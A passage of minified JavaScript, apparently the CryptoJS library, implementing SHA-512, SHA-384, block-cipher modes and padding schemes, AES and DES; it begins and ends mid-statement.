2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = 